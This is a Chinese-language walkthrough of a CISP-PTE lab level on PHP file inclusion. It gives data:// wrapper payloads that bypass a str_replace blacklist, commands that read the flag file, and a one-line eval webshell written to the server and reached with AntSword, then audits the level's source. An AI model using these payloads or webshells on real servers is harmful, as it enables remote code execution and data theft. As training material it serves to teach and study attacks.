目录
本文详细讲解CISP-PTE靶场文件包含关卡利用Data伪协议进行文件包含关卡渗透的实战方法。首先解析了Data伪协议的基本语法、MIME类型及其调用phpinfo()的多种形式,包括明文、短标签、Base64编码等变体。在渗透实战部分,通过8种不同方法绕过靶场防护:包括使用单斜杠/无斜杠变种、多种文件读取函数(readfile、system等)以及上传木马后门。最后对靶场源码进行审计,指出其基于黑名单的协议过滤机制存在被绕过的风险。文章提供了完整的渗透思路和操作步骤,展示了从信息搜集到获取flag的全过程。
一、Data伪协议
data伪协议是 URL 协议的一种,允许将数据直接嵌入到 URL 中,而非通过外部文件加载。其核心原理是:当服务器端存在文件包含风险(如 PHP 的include()、require()等函数),且未对包含的路径进行严格过滤时,攻击者可以构造data://格式的 URL,将恶意代码作为数据直接传递给包含函数,服务器会将该数据当作文件内容解析执行。
1、基本语法
以 PHP 为例,data协议的基本格式为:data:[<mediatype>][;base64],<data>
<mediatype>:可选,指定数据的 MIME 类型(如text/plain、application/php),默认是text/plain。;base64:可选,表示后面的数据经过 base64 编码,服务器会自动解码。<data>:实际传递的数据(原始数据或 base64 编码后的数据)。
当 PHP 的allow_url_include配置为on时,include()等函数会解析data://协议,将数据作为文件内容处理。若数据中包含 PHP 代码(如<?php phpinfo();?>),则会被直接执行。
2、MIME类型
根据数据的编码方式和 MIME 类型,data伪协议的利用变种主要有以下几种:
- 原始数据(非 base64 编码) 直接传递未编码的原始数据,需注意特殊字符(如空格、& 等)需 URL 编码。示例:data:text/plain,<?php phpinfo();?> 若包含函数解析,会执行
phpinfo()。 - base64 编码数据 当原始数据包含特殊字符(如
<、>、引号等)时,可通过 base64 编码避免解析冲突,服务器会自动解码。示例:data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 其中PD9waHAgcGhwaW5mbygpOz8+是<?php phpinfo();?>的 base64 编码。 - 指定 MIME 类型为 PHP 明确指定数据类型为
application/php,部分场景下可增强解析优先级(即使默认类型已生效,此方式更稳妥)。示例:data:application/php,<?php system('id');?> - 若服务器对 MIME 类型不严格校验,可省略类型,直接传递数据。示例:data:;base64,PD9waHAgc3lzdGVtKCdpbWQnKTs/Pg==
3、调用phpinfo()形式
Data协议调用phpinfo()的各种形式参考如下所示。
// 1. 标准明文形式 - 最基本的data协议调用
$payload1 = "data://text/plain,<?php phpinfo();?>";
// 2. 使用短标签 - 更简洁,依赖short_open_tag配置
$payload2 = "data://text/plain,<?=phpinfo()?>";
// 3. Base64编码形式 - 绕过简单关键词过滤
$payload3 = "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+";
// 4. 使用PHP包装器 - 明确指定PHP类型
$payload4 = "data://application/x-httpd-php,<?php phpinfo();?>";
// 5. Base64编码的PHP包装器 - 双重隐蔽
$payload5 = "data://application/x-httpd-php;base64,PD9waHAgcGhwaW5mbygpOz8+";
// 6. 单斜杠变种 - 绕过简单的双斜杠检测
$payload6 = "data:/text/plain,<?php phpinfo();?>";
// 7. 无斜杠形式 - 最简协议标识
$payload7 = "data:text/plain,<?php phpinfo();?>";
// 8. 带字符集参数 - 增加混淆
$payload8 = "data://text/plain;charset=utf-8,<?php phpinfo();?>";
// 9. 带编码和字符集 - 多重参数混淆
$payload9 = "data://text/plain;charset=utf-8;base64,PD9waHAgcGhwaW5mbygpOz8+";
二、渗透实战(8种方法)
1、打开靶场
打开靶场,页面提示"PHP文件包含风险的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。测试该网站可能存在的包含安全风险,尝试获取webshell,答案就在根目录下key.php文件中。"
http://e10ed0cb.clsadp.com/

2、开始答题
点击开始答题,进入如下页面,发现start目录下应该有view.php
http://d215a4f1.clsadp.com/start/?file=view.html
http://d215a4f1.clsadp.com/start/?file=view.html
http://d215a4f1.clsadp.com/start/?file=view.html
3、data伪协议
(1)data://text/plain,<?php phpinfo();?>
http://e10ed0cb.clsadp.com/start/index.php?page=data://text/plain,\<?php phpinfo();?>
如下所示,看起来过滤了关键字data://

(2)方法1:data:/text/plain,<?php phpinfo();?>
data:// - 完整的RFC 2397数据URI协议标识
PHP的文件流包装器具有很好的容错性,以下形式PHP都能识别为data协议
"data://text/plain,test"; // 标准形式
"data:/text/plain,test"; // 单斜杠
"data:text/plain,test"; // 无斜杠
我们选择单斜杠的**data:/text/plain,<?php phpinfo();?>**作为payload,如下所示,渗透成功。

(3)方法2:data:text/plain,<?php phpinfo();?>
我们选择无斜杠的**data:text/plain,<?php phpinfo();?>**作为payload,如下所示,渗透成功。

4、直接读取flag
(1)方法1:data:/text/plain, <?php readfile('../key.php');?>
我们选择单斜杠的data:/text/plain, <?php readfile('../key.php');?>作为payload,如下所示,渗透成功。
http://e10ed0cb.clsadp.com/start/index.php?page=data:/text/plain, <?php readfile('../key.php');?>

右键源码,如下所示成功获取到flag值。

(2)方法2:data:text/plain, <?php readfile('../key.php');?>
http://e10ed0cb.clsadp.com/start/index.php?page=data:text/plain, <?php readfile('../key.php');?>
我们选择无斜杠的data:text/plain, <?php readfile('../key.php');?>作为payload,如下所示,渗透成功。

(3)方法3:data:/text/plain,<?php system('cat ../key.php');?>
http://e10ed0cb.clsadp.com/start/index.php?page=data:/text/plain,<?php system('cat ../key.php');?>
通过右键-元素,在html页面中可以找到flag值,如下所示。

我们使用burpsuite抓包,查看response发现flag,如下所示。

(4)方法2:data:text/plain, <?php echo file_get_contents('../key.php');?>
http://e10ed0cb.clsadp.com/start/index.php?page=data:text/plain, <?php echo file_get_contents('../key.php');?>>

(5)方法5:data:/text/plain,<?php highlight_file('../key.php');?>
使用highlight_file高亮显示 - 语法高亮输出,如下所示渗透成功。
http://e10ed0cb.clsadp.com/start/index.php?page=data:/text/plain,<?php highlight_file('../key.php');?>

(6)方法6:data:text/plain, <?php show_source('../key.php');?>
使用使用show_source函数 - highlight_file的别名 - 语法高亮输出
http://e10ed0cb.clsadp.com/start/index.php?page=data:/text/plain,<?php show_source('../key.php');?>

(7)方法7:data:/text/plain,<?php system('more ../key.php');?>
http://e10ed0cb.clsadp.com/start/index.php?page=data:/text/plain,<?php system('more ../key.php');?>

5、上传木马
(1)构造生成木马脚本
创建Webshell的PHP恶意代码,其功能是在服务器上生成一个名为mooyuan.php的后门文件。该文件包含一句话木马<?php @eval($_POST[ljn]);?>,允许攻击者通过POST参数ljn传递并执行任意PHP代码。通过file_put_contents函数直接写入文件,配合eval函数动态执行攻击指令,从而实现对服务器的完全控制,可进行文件操作、命令执行、数据窃取等恶意行为
<?php file_put_contents('mooyuan.php','<?php @eval($_POST[ljn]);?>');?>
(2)执行payload生成木马
data:/text/plain,<?php file_put_contents('mooyuan.php','<?php @eval($_POST[ljn]);?>');?>

(3)hackbar连接木马
http://e10ed0cb.clsadp.com/start/mooyuan.php
ljn=phpinfo();

(4)蚁剑工具连接木马
http://e10ed0cb.clsadp.com/start/mooyuan.php
密码:ljn




(5)发现flag
/var/www/html/key.php


三、源码分析
1、源码内容
查看本关卡的源码,位置为/var/www/html/start/index.php,打开后如下所示。

完整代码内容如下所示。
<?php error_reporting(0); ?>
<?php include("function.php"); ?>
<html>
<head>
<title>CISP-PTE 认证考试</title>
<link rel="stylesheet" href="../css/bootstrap.css">
<link rel="stylesheet" href="../css/nav.css">
<meta charset="UTF-8">
</head>
<body>
<?php include '../header.php';?>
<div class="container mt-5 min-height main-body">
<div class="row">
<div class="col-7 m-auto">
<h2>文件包含</h2>
<?php
$page=$_GET['page'];
$page=str_replace("php://", "", $page);
$page=str_replace("file://", "", $page);
$page=str_replace("ftp://", "", $page);
$page=str_replace("zlib://", "", $page);
$page=str_replace("data://", "", $page);
$page=str_replace("glob://", "", $page);
$page=str_replace("phar://", "", $page);
$page=str_replace("ssh2://", "", $page);
$page=str_replace("rar://", "", $page);
$page=str_replace("ogg://", "", $page);
$page=str_replace("expect://", "", $page);
$page= $page . ".txt";
?>
<br>
<span style="color:red">
<?php
echo ">> ".$page;
?>
</span>
<br>
<br>
<?php
include($page);
?>
</div>
</div>
</div>
<?php include '../footer.php';?>
</body>
</html>
2、代码审计
详细分析源码,代码实现了一个基于黑名单过滤的文件包含安全机制,首先通过$_GET['page']获取用户输入,然后使用str_replace函数依次移除php://、file://、ftp://、zlib://、data://、glob://、phar://、ssh2://、rar://、ogg://和expect://等11种危险协议包装器前缀,试图阻断攻击者利用这些协议进行文件包含攻击的途径,最后通过强制添加.txt扩展名将访问目标限制为文本文件,旨在通过协议过滤和文件类型限制的双重防护来提升系统安全性,但这种基于字符串替换的黑名单方式仍存在被绕过的风险。注释后的核心源码具体如下所示。
<?php
/**
* 文件包含安全过滤代码
* 功能:对用户输入的文件包含参数进行协议过滤和文件类型限制
*/
// 从GET请求中获取page参数,用于文件包含操作
$page = $_GET['page'];
/**
* 协议黑名单过滤部分
* 使用str_replace移除常见的危险协议包装器前缀
* 目的是防止攻击者利用这些协议执行恶意代码或读取敏感文件
*/
// 移除PHP流包装器协议 - 防止执行PHP代码
$page = str_replace("php://", "", $page);
// 移除本地文件访问协议 - 防止读取系统文件
$page = str_replace("file://", "", $page);
// 移除FTP文件传输协议 - 防止从远程FTP服务器包含文件
$page = str_replace("ftp://", "", $page);
// 移除压缩流协议 - 防止读取压缩包内文件
$page = str_replace("zlib://", "", $page);
// 移除数据流协议 - 防止通过Data URI执行PHP代码(常用于一句话木马)
$page = str_replace("data://", "", $page);
// 移除全局模式协议 - 防止使用通配符匹配多个文件
$page = str_replace("glob://", "", $page);
// 移除PHAR归档协议 - 防止包含PHAR包中的文件
$page = str_replace("phar://", "", $page);
// 移除SSH2协议 - 防止通过SSH连接访问远程文件
$page = str_replace("ssh2://", "", $page);
// 移除RAR压缩协议 - 防止读取RAR压缩包内容
$page = str_replace("rar://", "", $page);
// 移除音频流协议 - 防止异常文件操作
$page = str_replace("ogg://", "", $page);
// 移除Expect协议 - 防止执行系统命令(最危险的协议之一)
$page = str_replace("expect://", "", $page);
/**
* 文件类型限制部分
* 强制添加.txt扩展名,限制只能包含文本文件
* 目的是即使过滤被绕过,最终也只能读取文本文件而非执行PHP代码
*/
$page = $page . ".txt";
/**
* 安全缺陷说明(作为注释供开发者参考):
* 1. 使用黑名单过滤而非白名单,存在被绕过的风险
* 2. str_replace简单替换可通过双写绕过(如:datadata:// → data://)
* 3. 未对路径遍历攻击进行防护(../等)
* 4. 更好的做法是使用白名单+文件扩展名验证
*/
?>